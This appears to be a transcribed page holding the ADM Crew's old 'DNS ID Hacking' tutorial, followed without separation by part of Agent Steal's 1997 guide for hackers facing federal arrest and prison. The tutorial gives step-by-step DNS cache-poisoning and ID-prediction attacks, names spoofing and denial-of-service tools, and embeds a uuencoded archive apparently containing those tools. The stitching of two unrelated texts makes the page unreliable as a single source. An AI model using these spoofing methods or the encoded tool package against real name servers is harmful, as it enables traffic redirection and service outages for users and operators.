DNS ID Hacking - HudsonCress.net

Transcription

DNS ID Hacking - HudsonCress.net
___
/
| / \
..oO THE
______
\
|
_
_
| \
/ |
\ |
|
\_/
|
| |___| | | |_ / |
|
\_/
|
| ---
| |
| |
''''
''''
'''
| | |
\
_
| |
'''
/
'''''''
CreW Oo..
presents
DNS ID Hacking
(and even more !!)
with colors & in images ;))
--[1]-- DNS ID Hacking Presentation
w00w00!
Hi people you might be wondering what DNS ID Hacking (or Spoofing) is.
DNS ID Hacking isn't a usual way of hacking/spoofing such jizz
or any-erect. This method is based on a vulnerability on DNS Protocol.
More brutal, the DNS ID hack/spoof is very efficient is very strong
because there is no generation of DNS daemons that escapes from it (even
WinNT!).
--[1.1]-- DNS Protocol mechanism explanation
In the first step, you must know how the DNS works. I will only explain the
most important facts of this protocol. In order to do that, we will follow
the way of a DNS request packet from A to Z!
1: the client (bla.bibi.com) sends a request of resolution of the domain
"www.heike.com". To resolve the name, bla.bibi.com uses "dns.bibi.com" for
DNS. Let's take a look at the following picture..
/---------------------------------\
| 111.1.2.123 =
bla.bibi.com
|
| 111.1.2.222 =
dns.bibi.com
|
| format:
|
| IP_ADDR:PORT->IP_ADDR:PORT
|
| ex:
|
| 111.1.2.123:2999->111.1.2.222:53|
\---------------------------------/
...
gethosbyname("www.heike.com");
...
[bla.bibi.com]
[dns.bibi.com]
111.1.2.123:1999 --->[?www.heike.com]------> 111.1.2.222:53
Here we see our resolution name request from source port 1999 which is
asking to dns on port 53.
[note: DNS is always on port 53]
Now that dns.bibi.com has received the resolution request from bla.bibi.com,
dns.bibi.com will have to resolve the name, let's look at it...
[dns.bibi.com]
[ns.internic.net]
111.1.2.222:53 -------->[dns?www.heike.com]----> 198.41.0.4:53
dns.bibi.com asks ns.internic.net who the root name server for the address
of www.heike.com is, and if it doesn't have it and sends the request to a
name server which has authority on '.com' domains.
[note: we ask to internic because it could have this request in its cache]
[ns.internic.net]
[ns.bibi.com]
198.41.0.4:53 ------>[ns for.com is 144.44.44.4]------> 111.1.2.222:53
Here we can see that ns.internic.net answered to ns.bibi.com (which is the
DNS that has authority over the domain bibi.com), that the name server
of for.com has the IP 144.44.44.4 [let's call it ns.for.com]. Now our
ns.bibi.com will ask to ns.for.com for the address of www.heike.com,
but this one doesn't have it and will forward the request to the DNS of
heike.com which has authority for heike.com.
[ns.bibi.com]
[ns.for.com]
111.1.2.222:53 ------>[?www.heike.com]-----> 144.44.44.4:53
answer from ns.for.com
[ns.for.com]
[ns.bibi.com]
144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4]---> 144.44.44.4:53
Now that we know which IP address has authority on the domain "heike.com"
[we'll call it ns.heike.com], we ask it what's the IP of the machine www
[www.heike.com then :)].
[ns.bibi.com]
[ns.heike.com]
111.1.2.222:53 ----->[?www.heike.com]----> 31.33.7.4:53
And now we at least have our answer!!
[ns.heike.com]
[ns.bibi.com]
31.33.7.4:53 ------->[www.heike.com == 31.33.7.44] ----> 111.1.2.222:53
Great we have the answer, we can forward it to our client bla.bibi.com.
[ns.bibi.com]
[bla.bibi.com]
111.1.2.222:53 ------->[www.heike.com == 31.33.7.44]----> 111.1.2.123:1999
Hehe now bla.bibi.com knows the IP of www.heike.com :)
So.. now let's imagine that we'd like to have the name of a machine from its
IP, in order to do that, the way to proceed will be a little different
because the IP will have to be transformed:
example:
100.20.40.3 will become 3.40.20.100.in-addr.arpa
Attention!! This method is only for the IP resolution request (reverse DNS)
So let's look in practical when we take the IP of www.heike.com (31.33.7.44
or "44.7.33.31.in-addr.arpa" after the translation into a comprehensible
format by DNS).
...
gethostbyaddr("31.33.7.44");
...
[bla.bibi.com]
[ns.bibi.com]
111.1.2.123:2600 ----->[?44.7.33.31.in-addr.arpa]-----> 111.1.2.222:53
We sent our request to ns.bibi.com
[ns.bibi.com]
[ns.internic.net]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 198.41.0.4:53
ns.internic.net will send the IP of a name server which has authority on
'31.in-addr.arpa'.
[ns.internic.net]
[ns.bibi.com]
198.41.0.4:53 --> [DNS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53
Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4.
[ns.bibi.com]
[ns.for.com]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53
and so on...
In fact the mechanism is nearly the same that was used for name
resolution.
I hope you understood the dialog on how DNS works. Now let's study DNS
messages format.
--[1.2]-- DNS packet
Here is the format of a DNS message :
+---------------------------+---------------------------+
|
ID (the famous :)
| flags
|
+---------------------------+---------------------------+
|
numbers of questions
| numbers of answer
|
+---------------------------+---------------------------+
| number of RR authority |number of supplementary RR |
+---------------------------+---------------------------+
|
|
\
\
\
QUESTION
\
|
|
+-------------------------------------------------------+
|
|
\
\
\
ANSWER
\
|
|
+-------------------------------------------------------+
|
|
\
\
\
Stuff etc..
|
No matter
\
|
+-------------------------------------------------------+
--[1.3]-- Structure of DNS packets.
__ID__
The ID permits to identify each DNS packet, since exchanges between name
servers are from port 53 to port 53, and more it might be more than one
request at a time, so the ID is the only way to recognize the different DNS
requests. Well talk about it later..
__flags__
The flags area is divided into several parts :
4 bits
3 bits (always 0)
|
|
|
|
[QR | opcode | AA| TC| RD| RA | zero | rcode ]
|
|
|__|__|__|
|
|______ 4 bits
|_ 1 bit
|
1 bit
QR
= If the QR bit = 0, it means that the packet is a question,
otherwise it's an answer.
opcode = If the value is 0 for a normal request, 1 for a reserve request,
and 2 for a status request (we don't need to know all these modes).
AA
= If it's equal to 1, it says that the name server has an
authoritative answer.
TC
= No matter
RD
= If this flag is to 1, it means "Recursion Request", for example
when bla.bibi.com asks ns.bibi.com to resolve the name, the flag
tells the DNS to assume this request.
RA
= If it's set to 1, it means that recursion is available.
This bit is set to 1 in the answer of the name server if it
supports recursion.
Zero
= Here are three zeroes...
rcode
= It contains the return error messages for DNS requests
if 0, it means "no error", 3 means "name error"
The 2 following flags don't have any importance for us.
DNS QUESTION:
Here is the format of a DNS question :
+-----------------------------------------------------------------------+
|
name of the question
|
+-----------------------------------------------------------------------+
|
type of question
|
type of query
|
+--------------------------------+--------------------------------------+
The structure of the question is like this.
example:
www.heike.com will be [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
for an IP address it's the same thing :)
44.33.88.123.in-addr.arpa would be:
[2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0]
[note]: a compression format exists, but we won't use it.
type of question:
Here are the values that we will use most times:
[note]: There are more than 20 types of different values(!) and I'm fed
up with writing :))
name
A
value
|
PTR |
1
| IP Address
( resolving a name to an IP )
12
| Pointer
( resolving an IP to a name )
type of query:
The values are the same than the type of question
(i don't know if it's true, but the goal is not to learn you DNS protocol
from A to Z, for it you should look at the RFC from 1033 to 1035 and 1037,
here the goal is a global knowledge in order to put it in practice !!)
DNS ANSWER:
The answers have a format that we call RR.. but we don't mind :)
Here is the format of an answer (an RR)
+------------------------------------------------------------------------+
|
name of the domain
|
+------------------------------------------------------------------------+
|
type
|
class
|
+----------------------------------+-------------------------------------+
|
TTL (time to live)
|
+------------------------------------------------------------------------+
| resource data length
|
|
|----------------------------+
|
|
|
resource data
+------------------------------------------------------------------------name of the domain:
The name of the domain in reports to the following resource:
The domain name is stored in the same way that the part question for the
resolution request of www.heike.com, the flag "name of the domain" will
contain [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
type:
The type flag is the same than "type of query" in the question part of the
packet.
class:
The class flag is equal to 1 for Internet data.
time to live:
This flag explains in seconds the time-life of the informations into the
name server cache.
resource data length:
The length of resource data, for example if resource data length is 4, it
means that the data in resources data are 4 bytes long.
resource data:
here we put the IP for example (at least in our case)
I will offer you a little example that explains this better:
Here is what's happening when ns.bibi.com asks ns.heike.com for
www.heike.com's address
ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 (Phear Heike ;)
+---------------------------------+--------------------------------------+
|
ID = 1999
| QR = 0 opcode = 0 RD = 1
|
+---------------------------------+--------------------------------------+
| numbers of questions = htons(1) | numbers of answers = 0
|
+---------------------------------+--------------------------------------+
| number of RR authoritative = 0 | number of supplementary RR = 0
|
+---------------------------------+--------------------------------------+
<the question part>
+------------------------------------------------------------------------+
|
name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
|
+------------------------------------------------------------------------+
|
type of question = htons(1)
|
type of query=htons(1)
|
+---------------------------------+--------------------------------------+
here is for the question.
now let's stare the answer of ns.heike.com
ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53
+---------------------------------+---------------------------------------+
|
ID = 1999
| QR=1 opcode=0 RD=1 AA =1 RA=1
|
+---------------------------------+---------------------------------------+
| numbers of questions = htons(1) | numbers of answers = htons(1)
|
+---------------------------------+---------------------------------------+
| number of RR authoritative = 0 | number of supplementary RR = 0
|
+---------------------------------+---------------------------------------+
+-------------------------------------------------------------------------+
|
name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
|
+-------------------------------------------------------------------------+
|
type of question = htons(1)
|
type of query = htons(1)
|
+-------------------------------------------------------------------------+
+-------------------------------------------------------------------------+
|
name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
|
+-------------------------------------------------------------------------+
|
type
= htons(1)
|
class
= htons(1)
|
+-------------------------------------------------------------------------+
|
time to live = 999999
|
+-------------------------------------------------------------------------+
| resource data length = htons(4) | resource data=inet_addr("31.33.7.44") |
+-------------------------------------------------------------------------+
Yah! That's all for now :))
Here is an analysis:
In the answer QR = 1 because it's an answer :)
AA = 1 because the name server has authority in its domain
RA = 1 because recursion is available
Good =) I hope you understood that cause you will need it for the following
events.
--[2.0]-- DNS ID hack/spoof
Now it's time to explain clearly what DNS ID hacking/spoofing is.
Like I explained before, the only way for the DNS daemon to recognize
the different questions/answers is the ID flag in the packet. Look at this
example:
ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53
So you only have to spoof the ip of ns.heike.com and answer your false
information before ns.heike.com to ns.bibi.com!
ns.bibi.com <------- . . . . . . . . . . . ns.heike.com
|
|<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com
But in practice you have to guess the good ID :) If you are on a LAN, you
can sniff to get this ID and answer before the name server (it's easy on a
Local Network :)
If you want to do this remotely you don't have a lot a choices, you only
have 4 basics methods:
1.) Randomly test all the possible values of the ID flag. You must answer
before the ns ! (ns.heike.com in this example). This method is obsolete
unless you want to know the ID .. or any other favorable condition to
its prediction.
2.) Send some DNS requests (200 or 300) in order to increase the chances
of falling on the good ID.
3.) Flood the DNS in order to avoid its work. The name server will crash
and show the following error!
>> Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set - ABORT
at this time named daemon is out of order :)
4.) Or you can use the vulnerability in BIND discovered by SNI (Secure
Networks, Inc.) with ID prediction (we will discuss this in a bit).
##################### Windows ID Vulnerability ###########################
I found a heavy vulnerability in Windows 95 (I haven't tested it on
WinNT), lets imagine my little friend that's on Windows 95.
Windows ID's are extremely easy to predict because it's "1" by default :)))
and "2" for the second question (if they are 2 questions at the same time).
######################## BIND Vulnerability ##############################
There is a vulnerability in BIND (discovered by SNI as stated earlier).
In fact, DNS IS are easily predictable, you only have to sniff a DNS in
order to do what you want. Let me explain...
The DNS uses a random ID at the beginning but it only increase this ID for
next questions ... =)))
It's easy to exploit this vulnerability.
Here is the way:
1. Be able to sniff easily the messages that comes to a random DNS (ex.
ns.dede.com for this sample).
2. You ask NS.victim.com to resolve (random).dede.com. NS.victim.com will
ask to ns.dede.com to resolve (random).dede.com
ns.victim.com ---> [?(rand).dede.com ID = 444] ---> ns.dede.com
3. Now you have the ID of the message from NS.victim.com, now you know what
ID area you'll have to use. (ID = 444 in this sample).
4. You then make your resolution request. ex. www.microsoft.com to
NS.victim.com
(you) ---> [?www.microsoft.com] ---> ns.victim.com
ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com
5. Flood the name server ns.victim.com with the ID (444) you already have and
then you increase this one.
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com
(now you know that DNS IDs are predictable, and they only increase. You
flood ns.victim.com with spoofed answers with the ID 444+ ;)
*** ADMsnOOfID does this.
There is another way to exploit this vulnerability without a root on
any DNS
The mechanism is very simple. Here is the explaination
We send to ns.victim.com a resolution request for *.provnet.fr
(you) ----------[?(random).provnet.fr] -------> ns.victim.com
Then, ns.victim.com asks ns1.provnet.fr to resolve (random).provnet.fr.
There is nothing new here, but the interesting part begins here.
From this point you begin to flood ns.victim.com with spoofed answers
(with ns1.provnet.fr IP) with ids from 100 to 110...
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com
.....
After that, we ask ns.victim.com if (random).provnet.fr has an IP.
If ns.victim.com give us an IP for (random).provnet.fr then we have
found the correct ID :) Otherwise we have to repeat this attack until we
find the ID. It's a bit long but it's effective. And nothing forbides you
to do this with friends ;)
This is how ADMnOg00d works ;)
-------------------------------
##########################################################################
Here you will find 5 programs
ADMkillDNS - very simple DNS spoofer
ADMsniffID - sniff a LAN and reply false DNS answers before the NS
ADMsnOOfID - a DNS ID spoofer (you'll need to be root on a NS)
ADMnOg00d
- a DNS ID predictor (no need to be root on a NS)
ADNdnsfuckr - a very simple denial of service attack to disable DNS
Have fun!! :)
Note: You can find source and binaries of this progs at
ftp.janova.org/pub/ADM. I'm going to make a little HOWTO soon, which would
be on janova. You need to install libpcap on your machine before any
compilation of the ADMID proggies :)
ADM Crew.
Thanks to: all ADM crew, Shok, pirus, fyber, Heike, and w00w00 (gotta love
these guys)
Special Thanks: ackboo, and of course Secure Networks, Inc. (SNI) at
www.secnet.com for finding the vulnerability =)
/* I'm a w00w00ify'd w00c0w */
/* I'm a w00w00ify'd w00c0w */
/* I'm a w00w00ify'd w00c0w */
begin 644 ADMid-pkg.tgz
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
M;-S++*J*IC.LC?"O4B?PASZ[R*<I__PV]"9^A=NE(L%%A;+)UCSX^>W;JF*MK,F<?_3C2&LLQ$$M"8L?/!TX'T2H@5(K+W9&?>&UR-31>H(#JA3RX<MTQ-5E
MAYF"4J'`[#M2=4NEZP@5/AHY(LS$2V7SE."(UY]."!R(7J^/>T=HB;[M37QX
M?8@HMETE).)2XVA\UG)=%VT1_DXGT[-FNVU_-U4"`18"Q^OB2HAUP-K*',!7
MFKM(QUHJ'5\SZ4TKHRF4$)P.SJ$28+O!*P0<KD2%YE'M!+6:\/1HDQ^!@]8]
MY=:"*H'H>?TY0/63I>`ETQA'*CIPRL\&SY*RXSDT#EN?Q'[00.89\$CLO&63
M*"BQ,!U3AM?)?-YI7<T?)TA%M-)>K?:!W15R0K+\G;:]5D^F8`Z4A*CWTXE#
M`"%L$0V5%A!F_TBB3#!UI#9"PI]P1GQY\=3#P96#\`4C('V7)5J<CSW""H4E
M7GQA?XZ\429[('_7>F?*Z"4T:CE7M$02-[!)M9;X:G`&VU;I^&K2J1.50>^,
M2P:/-AAY""]Z9P$NLB*_B3<>1X/*1M50,Q5P..'N\P=36D#=8*H1E]%R0+;.
M%/N0'DK$X('$7(6W$I"],^^#0^UV)*YX+UY(E+C2R+1L(`9S&+\()%<"O0:4
M23FE@IXXN6C9=%E:"UHBV8>56JZ7J]J-)M#,RB5\P6R+15$J@XK=*(2GA'$J
MZ4[B*<L3[\J?XO_I3R<5HRD[%H^C4N35)WPMX9K2.ZVJ%%AB"E;?7(D:$2->
MJT!%>WU10%%.30*02]4:5:AJ`UBT*E$DWQM*PGQW2%R/T"$US)4U0X"'-=6R
MFVI(=))"-E.PS1:2\`%FUKWWSR7K#IIIV!!@DEX4(<L8*2TA?%F(-1Y::V&M
MK)4.NMG5XB8EZG)+@37`H!ODQM,Q$%L<1%"MBHX6<6Q)A5I35%F8(I9E3<DJ
MNJ&*_B">%:V^S+:ZL:+5ALMENUHE"Z10E;B%)43UNP(0D\)8#&0MFS,$A"CV
M2.3S>Y#@/O`K(&80H)+'@!70E.!?-N+E\/\BX-=.6S%\@H@:?7;"A`,&8`;N
M;FVQZAWQ%58[R+7UV\Q/TB`*U7"3/FD>\F-('TO8NU+FAV%"SNXU_,76A1XR
MN[@X:PA?>L:E`I(C\6\4=AOR-8F]N>0_%7KO"C=217KQG)/#U__H'_?^Z2CG
M*+Y76=%DHTG@[]2/8Y2895%7RD#_)D@KHI#AV=016A8IE8RF*7?I:,?K_A&]
M]]'PVC]X_=8R$2)C5$1H4EC]/W9[-!\]'=VNF%)N1@A+7'D[^J``4F4XR&A#
M5W=;H=2:L2RK1M?##*U?X3O+!&S-.+&[L(E624W9E1V1^UNL<EV9$NOR#9GB
M>?DRB'C]D"-TAG!$97^:R7`Q(^C:N@=+/\&C"!D[)1,B
---------------------------------------------------------------EVERYTHING A HACKER NEEDS TO KNOW ABOUT GETTING BUSTED BY THE FEDS
---------------------------------------------------------------Written By Agent Steal (From Federal Prison, 1997)
Internet E-mail, agentsteal@usa.net
Contributions and editing by Minor Threat and Netta Gilboa
Special thanks to Evian S. Sim
This article may be freely reproduced, in whole or in part, provided
acknowledgments are given to the author. Any reproduction for profit, lame
zines, (that means you t0mmy, el8, you thief) or law enforcement use is
prohibited. The author and contributors to this phile in no way advocate
criminal behavior.
---------------CONTENTS
---------------PART I - FEDERAL CRIMINAL LAW
Foreward
Introduction
A. Relevant Conduct
B. Preparing for Trial
C. Plea Agreements and Attorneys
D. Conspiracy
E. Sentencing
F. Use of Special Skill
G. Getting Bail
H. State v. Federal Charges
I. Cooperating
J. Still Thinking About Trial
K. Search and Seizure
L. Surveillance
M. Presentence Investigation
N. Proceeding Pro Se
O. Evidentiary Hearing
P. Return of Property
Q. Outstanding Warrants
R. Encryption
S. Summary PART II - FEDERAL PRISON
A. State v. Federal
B. Security Levels
C. Getting Designated
D. Ignorant Inmates
E. Population
F. Doing Time
G. Disciplinary Action
H. Administrative Remedy
I. Prison Officials
J. The Hole
K. Good Time
L. Halfway House
M. Supervised Release
N. Summary
FOREWORD
Nobody wants to get involved in a criminal case and I've yet to meet a
hacker who was fully prepared for it happening to them. There are thousands
of paper and electronic magazines, CD-ROMS, web pages and text files about
hackers and hacking available, yet there is nothing in print until now that
specifically covers what to do when an arrest actually happens to you. Most
hackers do not plan for an arrest by hiding their notes or encrypting their
data, and most of them have some sort of address book seized from them too
(the most famous of which still remains the one seized from The Not So
Humble Babe). Most of them aren't told the full scope of the investigation
up front, and as the case goes on more comes to light, often only at the
last minute. Invariably, the hacker in question was wiretapped and/or
narced on by someone previously raided who covered up their own raid or
minimized it in order to get off by implicating others. Once one person
goes down it always affects many others later. My own
experience comes from living with a retired hacker arrested ten months after
he had stopped hacking for old crimes because another hacker informed on
him in exchange for being let go himself. What goes around, comes around.
It's food for thought that the hacker you taunt today will be able to cut a
deal for himself by informing on you later. From what I've seen on the
criminal justice system as it relates to hackers, the less enemies you pick
on the better and the less groups you join and people who you i nteract
with the better as well. There's a lot to be said for being considered a
lamer and having no one really have anything to pin on you when the feds
ask around.
I met Agent Steal, ironically, as a result of the hackers who had fun
picking on me at Defcon. I posted the speech I gave there on the Gray Areas
web page (which I had not originally intended to post, but decided to after
it was literally stolen out of my hands so I could not finish it) and
someone sent Agent Steal a copy while he was incarcerated. He wrote me a
letter of support, and while several hackers taunted me that I had no
friends in the community and was not wanted, and one even mailbombed our
CompuServe account causing us to lose the account and our email there, I
laughed knowing that this article was in progress and that of all of the
publications it could have been given to first it was Gray Areas that was
chosen.
This article marks the first important attempt at cooperation to inform the
community as a whole (even our individual enemies) about how best to
protect themselves. I know there will be many more hacker cases until
hackers work together instead of attacking each other and making it so easy
for the government to divide them. It's a sad reality that NAMBLA,
deadheads, adult film stars and bookstores, marijuana users and other
deviant groups are so much more organized than hackers who claim to be so
adept at, and involved with, gathering and using information. Hackers are
simply the easiest targets of any criminal subculture. While Hackerz.org
makes nice T-shirts (which they don't give free or even discount to hackers
in jail, btw), they simply don't have the resources to help hackers in
trouble. Neither does the EFF, which lacks lawyers willing to work pro bono
(free) in most of the 50 states. Knight Lightning still owes his attorney
money. So does Bernie S. This is not something that disappears from your
life the day the case is over. 80% or more of prisoners lose their lovers
and/or their families after the arrest. While there are notable exceptions,
this has been true for more hackers than I care to think about. The FBI or
Secret Service will likely visit your lovers and try to turn them against
you. The mainstream media will lie about your charges, the facts of your
case and the outcome. If you're lucky they'll remember to use the word
"allegedly." While most hackers probably think Emmanuel Goldstein and 2600
will help them, I know of many hackers whose cases he ignored totally when
contacted. Although he's credited for helping Phiber Optik, in reality
Phiber got more jail time for going to trial on Emmanuel's advice than his
co-defendants who didn't have Emmanuel help them and pled instead. Bernie
S. got his jaw broken perhaps in part from the government's anger at
Emmanuel's publicizing of the case, and despite all the attention Emmanuel
has gotten for Kevin Mitnick it didn't stop Mitnick's being put in
solitary confinement or speed up his trial date any. One thing is clear
though. Emmanuel's sales of 2600 dramatically increased as a result of
covering the above cases to the tune of over 25,000 copies per issue. It
does give pause for thought, if he cares so much about the hackers and not
his own sales and fame, as to why he has no ties to the Hackerz.org defense
fund or why he has not started something useful of his own. Phrack and
other zines historically have merely reposted incorrect newspaper reports
which can cause the hackers covered even more damage. Most of your hacker
friends who you now talk to daily will run from you after your arrest and
will tell other people all sorts of stories to cover up the fact they don't
know a thing. Remember too that your "friends" are the people most likely
to get you arrested too, as even if your phone isn't wiretapped now theirs
may be, and the popular voice bridges and conference calls you talk to them
on surely are.
They say information wants to be free, and so here is a gift to the
community (also quite applicable to anyone accused of any federal crime if
one substitutes another crime for the word hacking). Next time you put down
a hacker in jail and laugh about how they are getting raped while you're on
IRC, remember that someone is probably logging you and if you stay active
it's a good bet your day will come too. You won't be laughing then, and I
hope you'll have paid good attention when you're suddenly in jai l with no
bail granted and every last word you read here turns out to be true. Those
of us who have been there before wish you good luck in advance. Remember
the next time you put them down that ironically it's them you'll have to
turn to for advice shoul d it happen to you. Your lawyer isn't likely to
know a thing about computer crimes and it's the cases of the hackers who
were arrested before you which, like it or not, will provide the legal
precedents for your own conviction.
Netta "grayarea" Gilboa
INTRODUCTION
The likelihood of getting arrested for computer hacking has increased to an
unprecedented level. No matter how precautionary or sage you are, you're
bound to make mistakes. And the fact of the matter is if you have trusted
anyone else with the know ledge of what you are involved in, you have made
your first mistake.
For anyone active in hacking I cannot begin to stress the importance of the
information contained in this file. To those who have just been arrested by
the Feds, reading this file could mean the difference between a three-year
or a one-year sentence. To those who have never been busted, reading this
file will likely change the way you hack, or stop you from hacking altogether.
I realize my previous statements are somewhat lofty, but in the 35 months I
spent incarcerated I've heard countless inmates say it: "If I knew then
what I know now." I doubt that anyone would disagree: The criminal justice
system is a game to be played, both by prosecution and defense. And if you
have to be a player, you would be wise to learn the rules of engagement.
The writer and contributors of this file have learned the hard way. As a
result we turned our hacking skills during the times of our incarceration
towards the study of criminal law and, ultimately, survival. Having filed
our own motions, written our own briefs and endured life in prison, we now
pass this
knowledge back to the hacker community. Learn from our experiences... and
our mistakes.
Agent Steal
PART I - FEDERAL CRIMINAL LAW
A. THE BOTTOM LINE - RELEVANT CONDUCT
For those of you with a short G-phile attention span I'm going to cover the
single most important topic first. This is probably the most substantial
misunderstanding of the present criminal justice system. The subject I am
talking about is referred to in legal circles as "relevant conduct." It's a
bit complex and I will get into this. However, I have to make his crystal
clear so that it will stick in your heads. It boils down to two concepts:
I. ONCE YOU ARE FOUND GUILTY OF EVEN ONE COUNT, EVERY COUNT WILL BE USED
TO CALCULATE YOUR SENTENCE
Regardless of whether you plea bargain to one count or 100, your sentence
will be the same. This is assuming we are talking about hacking, code
abuse, carding, computer trespass, property theft, etc. All of these are
treated the same. Other crimes you committed (but were not charged with)
will also be used to calculate your sentence. You do not have to be proven
guilty of every act. As long as it appears that you were responsible, or
someone says you were, then it can be used against you. I know this sounds
insane , but it's true; it's the preponderance of evidence standard for
relevant conduct. This practice includes using illegally seized evidence
and acquittals as information in increasing the length of your sentence.
II. YOUR SENTENCE WILL BE BASED ON THE TOTAL MONETARY LOSS
The Feds use a sentencing table to calculate your sentence. It's simple;
More Money = More Time. It doesn't matter if you tried to break in 10 times
or 10,000 times. Each one could be a count but it's the loss that matters.
And an unsuccessful attempt is treated the same as a completed crime. It
also doesn't matter if you tried to break into one company's computer or
10. The government will quite simply add all of the estimated loss figures
up, and then refer to the sentencing table.
B. PREPARING FOR TRIAL
I've been trying to be overly simplistic with my explanation. The United
States Sentencing Guidelines (U.S.S.G.), are in fact quite complex. So much
so that special law firms are forming that deal only with sentencing. If
you get busted, I would highly recommend hiring one. In some cases it might
